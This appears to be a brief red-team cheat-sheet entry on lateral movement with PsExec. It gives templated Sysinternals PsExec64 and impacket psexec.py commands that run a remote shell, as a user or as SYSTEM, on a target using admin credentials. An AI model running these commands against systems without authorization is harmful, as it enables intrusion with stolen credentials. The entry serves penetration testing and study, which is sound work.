What Does it do? Writes a binary in C:/Windows, gets it executed and spawns a process and runs our command as a child process.

Requirements :

Local Administrator account access ,
Admin Share
File and Print Sharing setting ON

**TOOLS:

Psexec.exe - SYS internal
psexec - impacket

Attack

Windows

Executing cmd on Remote host - connecting as user

.\PsExec64.exe -i  \\{{target_ip}} -u {domain}\{user} -p {password} cmd

Linux

connecting as system NT authority using impacket-psexec

psexec.py {{domain}}/{{user}}:'{{password}}'@{{target_ip}}